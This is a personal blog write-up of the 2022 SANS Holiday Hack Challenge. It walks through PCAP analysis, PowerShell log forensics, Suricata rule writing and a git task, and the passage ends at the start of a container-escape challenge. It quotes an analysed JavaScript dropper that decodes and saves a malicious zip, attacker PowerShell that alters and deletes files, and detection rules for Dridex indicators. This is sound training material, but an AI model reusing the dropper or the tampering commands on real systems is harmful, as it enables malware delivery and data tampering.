Published on Fri 06 January 2023 by Yannick Méheut
Note: this blog post was originally posted on Yannick's personal blog.
Five Rings to rule them all, Five Rings to find them,
Five Rings to bring them all and in the darkness pwn them.
In the Land of Kringle where the Red-teamers lie.
(see, I can mix it up)
Here's my write-up for the 2022 SANS Christmas Challenge.
Introduction
New year, new KringleCon! However, Santa has lost his Five Golden Rings and can't perform his magic. He has given us the task of retrieving them in the caves that lay below his frozen castle. Let's go!
KringleCon Orientation
Jingle Ringford says
Welcome to the North Pole, KringleCon, and the 2022 SANS Holiday Hack Challenge! I’m Jingle Ringford, one of Santa’s elves.
Santa asked me to come here and give you a short orientation to this festive event.
Before you move forward through the gate, I’ll ask you to accomplish a few simple tasks.
First things first, here's your badge! It's the five golden rings in the middle of your avatar.
We now have a badge on our avatar.
Jingle Ringford says
Great - now you're official!
Click on the badge on your avatar. That’s where you will see your Objectives, Hints, and gathered Items for the Holiday Hack Challenge.
We’ve also got handy links to the KringleCon talks and more there for you!
Next, click on that machine to the left and create a crypto wallet for yourself. Don't lose that key!
We click on the KringleCoin Teller Machine to create our account:
We click on the green button:
Now you didn't think I would publish my secret key and let y'all steal my precious KringleCoins, right?
Jingle Ringford says
Fantastic!
OK, one last thing. Click on the Cranberry Pi Terminal and follow the on-screen instructions.
The Cranberry Pi Terminal is divided in two panes: an upper pane that reads
Enter the answer here >
and a lower pane that reads:
Welcome to the first terminal challenge! This one is intentionaly simple. All we need to do is: - Click in the upper pane of this terminal - Type answer and press Enter
We do so, and bingo:
Jingle Ringford says
Great! Your orientation is now complete! You can enter through the gate now. Have FUN!!!
We can now enter the North Pole, where we find Santa:
Santa says
Welcome to the North Pole, intrepid traveler!
Wow, we had quite a storm last night!
My castle door is sealed shut behind a giant snowbank.
The Elves have decided to burrow under the snow to get everything ready for our holiday deliveries.
But there's another wrinkle: my Five Golden Rings have gone missing.
Without the magic of the Rings, we simply can't launch the holiday season.
My reindeer won't fly; I won't be able to zip up and down chimneys.
What's worse, without the magic Rings, I can't fit the millions of cookies in my belly!
I challenge you to go on a quest to find and retrieve each of the five Rings.
I'll put some initial goals in your badge for you.
The holidays, and the whole world, are counting on you.
Recover the Tolkien Ring
We go down under the snow, to recover the first ring, the Tolkien Ring, where we come upon Grinchum:
Grinchum says
Preciousesss....
Don't worry, you are hidden. You are safe.
Wireshark Practice
Moving on, we enter what looks like the kitchen, where we find Sparkle Redberry.
Sparkle Redberry says
Hey there! I’m Sparkle Redberry. We have a bit of an incident here.
We were baking lembanh in preparation for the holidays.
It started to smell a little funky, and then suddenly, a Snowrog crashed through the wall!
We're trying to investigate what caused this, so we can make it go away.
Have you used Wireshark to look at packet capture (PCAP) files before?
I've got a PCAP you might find interesting.
Once you've had a chance to look at it, please open this terminal and answer the questions in the top pane.
Thanks for helping us get to the bottom of this!
Let's download the given PCAP and open up the terminal:
There are objects in the PCAP file that can be exported by Wireshark and/or Tshark. What type of objects can be exported from this PCAP?
Let's open the PCAP file in Wireshark:
It looks like this is mainly HTTP traffic. If we go to the File >
Export Objects
menu in Wireshark, we can see several object types, but only
the HTTP
entry gives us a file that can be extracted:
So, the answer is HTTP
.
What is the file name of the largest file we can export?
We can easily see from the previous screenshot that, with a size of 808 kB,
the app.php
file is the largest.
What packet number starts that app.php file?
There are two entries for the app.php
file, however, the largest one
starts at packet number 687
.
What is the IP of the Apache server?
Let's go to packet number 687
:
We can see that the HTTP server is responding with an HTTP code 200. Therefore,
the source IP address corresponds to the Apache server: 192.185.57.242
.
What file is saved to the infected host?
Let's use the File > Export Objects > HTTP
menu to export the large
app.php
file. If we take a look inside, we can see that a large blob
is base64-decoded, before being saved to file:
(function() { let byteCharacters = atob('UEsDBBQAAAAIAFCjN1FIq7H4ezsJAI[...]JAAAA'); let byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } let byteArray = new Uint8Array(byteNumbers); // now that we have the byte array, construct the blob from it let blob1 = new Blob([byteArray], {type: 'application/octet-stream'}); saveAs(blob1, 'Ref_Sept24-2020.zip'); })();
The file is named Ref_Sept24-2020.zip
.
Attackers used bad TLS certificates in this traffic. Which countries were they registered to? Submit the names of the countries in alphabetical order separated by commas (Ex: Norway, South Korea).
Let's use some tshark
to easily extract the value of the field we are
interested in. The interesting field name to extract the country a certificate
was registered to is x509sat.CountryName.
With a little clean-up, we get the following country names:
$ tshark -r suspicious.pcap -T fields -e x509sat.CountryName | tr ',' '\n' | sort -u IE IL SS US
By using the full names of the countries, we get Ireland, Israel, South
Sudan, United States of America
.
Is the host infected (Yes/No)?
Well if some weird behavior has been observed, it's most likely that the host
has been infected: Yes
.
After answering all questions properly, we talk to Sparkle Redberry again:
Sparkle Redberry says
You got it - wonderful!
So hey, when you're looking at the next terminal, remember you have multiple filetypes and tools you can utilize.
Conveniently for us, we can use programs already installed on every Windows computer.
So if you brought your own Windows machine, you can save the files to it and use whatever method is your favorite.
Oh yeah! If you wanna learn more, or get stuck, I hear Eric Pursley's talk is about this very topic.
Windows Event Logs
We move on to find Dusty Giftwrap:
Dusty Giftwrap says
Hi! I'm Dusty Giftwrap!
We think the Snowrog was attracted to the pungent smell from the baking lembanh.
I'm trying to discover which ingredient could be causing such a stench.
I think the answer may be in these suspicious logs.
I'm focusing on Windows Powershell logs. Do you have much experience there?
You can work on this offline or try it in this terminal.
Golly, I'd appreciate it if you could take a look.
Let's lend a hand:
Grinchum successfully downloaded his keylogger and has gathered the admin credentials! We think he used PowerShell to find the Lembanh recipe and steal our secret ingredient. Luckily, we enabled PowerShell auditing and have exported the Windows PowerShell logs to a flat text file. Please help me analyze this file and answer my questions. Ready to begin?
Ready!
1. What month/day/year did the attack take place? For example, 09/05/2021.
Let's use evtx to easily parse the EVTX file, by converting it to JSON:
$ ~/bin/evtx/evtx -o json -f powershell.json powershell.evtx
Now, let's search for Lembanh
in the file. We see some weird stuff
around here:
{ "Event": { "#attributes": { "xmlns": "http://schemas.microsoft.com/win/2004/08/events/event" }, "EventData": { "ContextInfo": " Severity = Informational\r\n Host Name = ConsoleHost\r\n Host Version = 5.1.19041.1682\r\n Host ID = 21ec2576-2920-4c0f-8047-0b85ad219ffa\r\n Host Application = C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\n Engine Version = 5.1.19041.1682\r\n Runspace ID = 4181eda9-20e6-4eb9-8869-fe5fa6d5e663\r\n Pipeline ID = 257\r\n Command Name = \r\n Command Type = Script\r\n Script Name = \r\n Command Path = \r\n Sequence Number = 1703\r\n User = DESKTOP-R65OKRB\\Chris Massey\r\n Connected User = \r\n Shell ID = Microsoft.PowerShell\r\n", "Payload": "CommandInvocation(Out-Default): \"Out-Default\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Recipe from Mixolydian, the Queen of Dorian\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Lembanh Original Recipe\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\" \"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"2 1/2 all purpose flour\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1 Tbsp baking powder\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/4 tsp salt\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 c butter\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/3 c brown sugar\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1 tsp cinnamon\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 tsp honey (secret ingredient)\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"2/3 c heavy whipping cream\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"1/2 tsp vanilla extract\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Preheat oven to 425F. Mix the flour, baking powder and salt into a large bowl. Add the butter and mix with a well till fine granules (easiest way is with an electric mixer). Then add the sugar and cinnamon, and mix them thoroughly.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Finally add the cream, honey, and vanilla and stir them in with a fork until a nice, thick dough forms.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Roll the dough out about 1/2 in thickness. Cut out 3-inch squares and transfer the dough to a cookie sheet.Criss-cross each square from corner-to-corner with a knife, lightly (not cutting through the dough).\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Bake for about 12 minutes or more (depending on the thickness of the bread) until it is set and lightly golden.\"\r\nParameterBinding(Out-Default): name=\"InputObject\"; value=\"Let cool completely before eating, this bread tastes better room temperature and dry. Also for more flavor you can add more cinnamon or other spices\"\r\n", "UserData": "" }, "System": { "Channel": "Microsoft-Windows-PowerShell/Operational", "Computer": "DESKTOP-R65OKRB", "Correlation": { "#attributes": { "ActivityID": "54BDC5C1-F7AB-0001-FA72-BF54ABF7D801" } }, "EventID": 4103, "EventRecordID": 7905, "Execution": { "#attributes": { "ProcessID": 1216, "ThreadID": 4080 } }, "Keywords": "0x0", "Level": 4, "Opcode": 20, "Provider": { "#attributes": { "Guid": "A0C1853B-5C40-4B15-8766-3CF1C58F985A", "Name": "Microsoft-Windows-PowerShell" } }, "Security": { "#attributes": { "UserID": "S-1-5-21-3359507890-24144431-3438718502-1002" } }, "Task": 106, "TimeCreated": { "#attributes": { "SystemTime": "2022-12-24T11:01:03.659392Z" } }, "Version": 1 } } }
The attack took place on 12/24/2022
.
2. An attacker got a secret from a file. What was the original file's name?
Let's look at the ScriptBlockText
attribute of the events. It contains
the PowerShell scripts that were executed. Let's also look for a keyword such
as recipe
:
$ grep -iE 'ScriptBlockText.*recipe' powershell.json "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "cat .\\recipe_updated.txt\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "del .\\Recipe.txt" "ScriptBlockText": "del .\\recipe_updated.txt"
Apparently, the file is called Recipe
.
3. The contents of the previous file were retrieved, changed, and stored to a variable by the attacker. This was done multiple times. Submit the last full PowerShell line that performed only these actions.
So, the command must retrieve the content, modify it, and store it in a variable. We can actually see that from our last command:
$ grep -iE 'ScriptBlockText.*recipe' powershell.json "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "cat .\\recipe_updated.txt\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "del .\\Recipe.txt" "ScriptBlockText": "del .\\recipe_updated.txt"
The last PowerShell line is:
$foo = Get-Content .\Recipe| % {$_ -replace 'honey', 'fish oil'}
4. After storing the altered file contents into the variable, the attacker used the variable to run a separate command that wrote the modified data to a file. This was done multiple times. Submit the last full PowerShell line that performed only this action.
So this time the command only stores our variable to a file. This can still be seen in our previous command:
$ grep -iE 'ScriptBlockText.*recipe' powershell.json "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "cat .\\recipe_updated.txt\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "del .\\Recipe.txt" "ScriptBlockText": "del .\\recipe_updated.txt"
The command is:
$foo | Add-Content -Path 'Recipe'
5. The attacker ran the previous command against one file multiple times. What is the name of this file?
Let's search for Add-Content
:
$ grep -iE 'ScriptBlockText.*Add-Content' powershell.json "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'"
The file is Recipe.txt
.
6. Were any files deleted (Yes/No)?
Let's go to our trusty first command. We can see that two files were deleted:
$ grep -iE 'ScriptBlockText.*recipe' powershell.json "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "cat .\\recipe_updated.txt\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "del .\\Recipe.txt" "ScriptBlockText": "del .\\recipe_updated.txt"
Therefore, the answer is Yes
.
7. Was the original file (from question 2) deleted (Yes/No)?
The file from question 2 was called Recipe
(no .txt
). It does
not appear to have been deleted, so the answer is No
.
8. What is the Event ID of the logs that show the actual command lines the attacker typed and ran?
Let's see the ID associated with events with a ScriptBlockText
attribute:
$ grep -E 'ScriptBlockText|EventID' powershell.json | grep -A 1 ScriptBlockText | grep EventID | sort -u "EventID": 4104,
First, we extract the attributes ScriptBlockText
and EventID
.
Then we grep
for ScriptBlockText
and the line after. This
should give us the associated EventID
. We'll then grep
for
only the EventID
, and get the unique result: 4104
.
9. Is the secret ingredient compromised (Yes/No)? 10. What is the secret ingredient?
We can easily answer the two last questions by taking a look at the results from our trusty one-liner:
$ grep -iE 'ScriptBlockText.*recipe' powershell.json "ScriptBlockText": "echo \"Dec 18 2022 `nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that's supposed to have the secret ingredient to really make it authentic. It's gonna be delicious, I'm so excited!\" >> mydiary.txt" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'\n" "ScriptBlockText": "cat .\\recipe_updated.txt\n" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'} $foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'recipe_updated.txt'" "ScriptBlockText": "cat .\\recipe_updated.txt" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_-replace 'honey','fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "$foo = Get-Content .\\Recipe| % {$_ -replace 'honey', 'fish oil'}" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe.txt'" "ScriptBlockText": "$foo | Add-Content -Path 'Recipe'" "ScriptBlockText": "cat .\\Recipe" "ScriptBlockText": "del .\\Recipe.txt" "ScriptBlockText": "del .\\recipe_updated.txt"
We see that the word honey
was replaced with fish oil
.
Therefore, the most likely scenario is that honey is the secret ingredient, but
Grinchum replaced it with fish oil in the recipe.
The fish oil must be what attracted the Snowrog.
Dusty Giftwrap says
Say, you did it! Thanks a million!
Now we can mix in the proper ingredients and stop attracting the Snowrog!
I'm all set now! Can you help Fitzy over there wield the exalted Suricata?
It can be a bit mystifying at first, but this Suricata Tome should help you fathom it.
I sure hope you can make it work!
Suricata Regatta
Fitzy Shortstack says
Hm?.. Hello...
Sorry, I don't mean to be uncharaceristically short with you.
There's just this abominable Snowrog here, and I'm trying to comprehend Suricata to stop it from getting into the kitchen.
I believe that if I can phrase these Suricata incantations correctly, they'll create a spell that will generate warnings.
And hopefully those warnings will scare off the Snowrog!
Only... I'm quite baffled. Maybe you can give it a go?
And indeed, we see the Snowrog barring the way:
The Snowrog says
Fierce gusts of wind wreath about it and snow swirls in its aura
Its frozen mane shimmers, and chilled air fogs behind it
Its left hand made of fingers of tongue-affixing icicles
Its right a fist like that of a densely packed snowball
The Snowrog focuses on you with an icy-cold glare
And bellows a roar more thunderous than an avalanche
Let's get rid of it!
Use your investigative analysis skills and the suspicious.pcap file to help develop Suricata rules for the elves! There's a short list of rules started in suricata.rules in your home directory. First off, the STINC (Santa's Team of Intelligent Naughty Catchers) has a lead for us. They have some Dridex indicators of compromise to check out. First, please create a Suricata rule to catch DNS lookups for adv.epostoday.uk. Whenever there's a match, the alert message (msg) should read Known bad DNS lookup, possible Dridex infection. Add your rule to suricata.rules Once you think you have it right, run ./rule_checker to see how you've done! As you get rules correct, rule_checker will ask for more to be added. If you want to start fresh, you can exit the terminal and start again or cp suricata.rules.backup suricata.rules Good luck, and thanks for helping save the North Pole!
I don't use Suricata in my day-to-day work. To create the rules, you can take
inspiration from the previous rules in the suricata.rules
file, or look
at the documentation.
It seems to be important to have a unique sid
for each created rule,
so keep that in mind.
Let's create the DNS rule:
alert dns any any -> any any (msg:"Known bad DNS lookup, possible Dridex infection"; dns.query; content:"adv.epostoday.uk"; nocase; sid:1337;)
Now we can run the rule checker:
elf@703ea04f1883:~$ ./rule_checker 3/1/2023 -- 14:26:55 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode 3/1/2023 -- 14:26:55 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started. 3/1/2023 -- 14:26:55 - <Notice> - Signal Received. Stopping engine. 3/1/2023 -- 14:26:55 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes First rule looks good! STINC thanks you for your work with that DNS record! In this PCAP, it points to 192.185.57.242. Develop a Suricata rule that alerts whenever the infected IP address 192.185.57.242 communicates with internal systems over HTTP. When there's a match, the message (msg) should read Investigate suspicious connections, possible Dridex infection
Our first rule seems correct, and we must now create a second one that creates
an alert when HTTP communications occur with 192.185.57.242
:
alert http 192.185.57.242 any -> $HOME_NET any (msg:"Investigate suspicious connections, possible Dridex infection";sid:1338;) alert http $HOME_NET any -> 192.185.57.242 any (msg:"Investigate suspicious connections, possible Dridex infection";sid:1339;)
Let's check our new rules:
elf@703ea04f1883:~$ ./rule_checker 3/1/2023 -- 14:31:06 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode 3/1/2023 -- 14:31:06 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started. 3/1/2023 -- 14:31:06 - <Notice> - Signal Received. Stopping engine. 3/1/2023 -- 14:31:07 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes First rule looks good! Second rule looks good! We heard that some naughty actors are using TLS certificates with a specific CN. Develop a Suricata rule to match and alert on an SSL certificate for heardbellith.Icanwepeh.nagoya. When your rule matches, the message (msg) should read Investigate bad certificates, possible Dridex infection
Here's the corresponding Suricata rule:
alert tls any any -> any any (msg:"Investigate bad certificates, possible Dridex infection"; tls.cert_subject; content:"heardbellith.Icanwepeh.nagoya"; nocase;sid:1340;)
Let's check it:
elf@703ea04f1883:~$ ./rule_checker 3/1/2023 -- 14:32:38 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode 3/1/2023 -- 14:32:38 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started. 3/1/2023 -- 14:32:38 - <Notice> - Signal Received. Stopping engine. 3/1/2023 -- 14:32:38 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes First rule looks good! Second rule looks good! Third rule looks good! OK, one more to rule them all and in the darkness find them. Let's watch for one line from the JavaScript: let byteCharacters = atob Oh, and that string might be GZip compressed - I hope that's OK! Just in case they try this again, please alert on that HTTP data with message Suspicious JavaScript function, possible Dridex infection
We're told that the content might be compressed using GZip. Luckily, according
to Suricata's documentation,
using http.response_body
allows to match on GZipped-content:
alert http any any -> any any (msg:"Suspicious JavaScript function, possible Dridex infection";http.response_body; content:"let byteCharacters = atob"; sid:1341;)
One last time:
elf@703ea04f1883:~$ ./rule_checker 3/1/2023 -- 14:42:38 - <Notice> - This is Suricata version 6.0.8 RELEASE running in USER mode 3/1/2023 -- 14:42:38 - <Notice> - all 5 packet processing threads, 4 management threads initialized, engine started. 3/1/2023 -- 14:42:38 - <Notice> - Signal Received. Stopping engine. 3/1/2023 -- 14:42:38 - <Notice> - Pcap-file module read 1 files, 5172 packets, 3941260 bytes First rule looks good! Second rule looks good! Third rule looks good! Fourth rule looks good! You've done it - thank you!
This gives us our first ring, the Tolkien Ring:
Fitzy Shortstack says
Woo hoo - you wielded Suricata magnificently! Thank you!
Now to shout the final warning of power to the Snowrog...
YOU...SHALL NOT...PASS!!!
And with that, the Snowrog disapears! As we leave, we see Grinchum:
Grinchum says
😒 Who took you, Precious? How did they take you? Mustn't happen again.
🙂 Oh, hello, humanses. Maybe we can offer help?
😏 Yes... Grinchum will help the humanses.
We are trying to distract them from finding the rest of you, Preciouses, with talk of hints and coinses.
🙂 Have you found the coffers yet? The ones at the end of hidden paths?
😏 There's hintses in them, and coinses, they're veeerrryy special.
🙂 Just look hard, for little, bitty, speckles or other oddities.
Don't worry, they will not look for you, Preciouses. Shhh...
🙂 Go on, humanses. Start searching!
Recover the Elfen Ring
We keep making our way down where we find Morcel Nougat. He teaches us about another kind of people, the Flobbits.
Morcel Nougat says
Hello, I'm Morcel Nougat, elf extraordinaire!
I was in the first group of elves that started digging into the snow.
Eventually, we burrowed deep enough that we came upon an already existing tunnel network.
As we explored it, we encountered a people that claimed to be the Flobbits.
We were all astonished, because we learn a little about the Flobbits in history class, but nobody's ever seen them.
They were part of the Great Schism hundreds of years ago that split the Munchkins and the Elves.
Not much else was known, until we met them in the tunnels! Turns out, their exodus took them to Middle Earth.
They only appear when the 5 Rings are in jeopardy. Though, the Rings weren't lost until after we started digging. Hmm...
Anyways, be careful as you venture down further. I hear something sinister is in the depths of these tunnels.
Clone with a Difference
We keep going, take a boat, and meet Bow Ninecandle:
Bow Ninecandle says
Well hello! I'm Bow Ninecandle!
Have you ever used Git before? It's so neat!
It adds so much convenience to DevOps, like those times when a new person joins the team.
They can just clone the project, and start helping out right away!
Speaking of, maybe you could help me out with cloning this repo?
I've heard there's multiple methods, but I only know how to do one.
If you need more help, check out the panel of very senior DevOps experts.
Let's give him a hand:
We just need you to clone one repo: git clone git@haugfactory.com:asnowball/aws_scripts.git This should be easy, right? Thing is: it doesn't seem to be working for me. This is a public repository though. I'm so confused! Please clone the repo and cat the README.md file. Then runtoanswer and tell us the last word of the README.md file!
Bow seems to try to clone the Git repository through SSH. If we try the command, we can see that it indeed tries to connect through SSH (since we must accept the SSH server key) and then fails because we don't have enough rights:
bow@c573fb1d9664:~$ git clone git@haugfactory.com:asnowball/aws_scripts.git Cloning into 'aws_scripts'... The authenticity of host 'haugfactory.com (34.171.230.38)' can't be established. ECDSA key fingerprint is SHA256:CqJXHictW5q0bjAZOknUyA2zzRgSEJLmdMo4nPj5Tmw. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'haugfactory.com,34.171.230.38' (ECDSA) to the list of known hosts. git@haugfactory.com: Permission denied (publickey). fatal: Could not read from remote repository. Please make sure you have the correct access rights and the repository exists.
Indeed, it seems that anonymous SSH access is not possible. So let's convert the command to use HTTPS, which allows anonymous access:
bow@c573fb1d9664:~$ git clone https://haugfactory.com/asnowball/aws_scripts Cloning into 'aws_scripts'... warning: redirecting to https://haugfactory.com/asnowball/aws_scripts.git/ remote: Enumerating objects: 64, done. remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64 Unpacking objects: 100% (64/64), 23.83 KiB | 1.32 MiB/s, done.
Great, it works! Now let's look at the last word in the README.md
file
and answer:
bow@c573fb1d9664:~$ tail -n 1 aws_scripts/README.md If you have run out of energy or time for your project, put a note at the top of the README saying that development has slowed down or stopped completely. Someone may choose to fork your project or volunteer to step in as a maintainer or owner, allowing your project to keep going. You can also make an explicit request for maintainers. bow@c573fb1d9664:~$ runtoanswer Read that repo! What's the last word in the README.md file for the aws_scripts repo? > maintainers Your answer: maintainers Checking...... Your answer is correct!
Bow Ninecandle says
Wow - great work! Thank you!
Say, if you happen to be testing containers for security, there are some things you should think about.
Developers love to give ALL TeH PERMz so that things "just work," but it can cause real problems.
It's always smart to check for excessive user and container permissions.
You never know! You might be able to interact with host processes or filesystems!
Prison Escape
We go on our merry watery way, where we find a house. We meet Tinsel Upatree:
Tinsel Upatree says
Hiya hiya, I'm Tinsel Upatree!
Check me out, I'm working side-by-side with a real-life Flobbit. Epic!
Anyway, would ya' mind looking at this terminal with me?
It takes a few seconds to start up, but then you're logged into a super secure container environment!
Or maybe it isn't so secure? I've heard about container escapes, and it has me a tad worried.
Do you think you could test this one for me? I'd appreciate it!
According to our badge, we must get the content of the file
/home/jailer/.ssh/jail.key.priv
. Let's have a look:
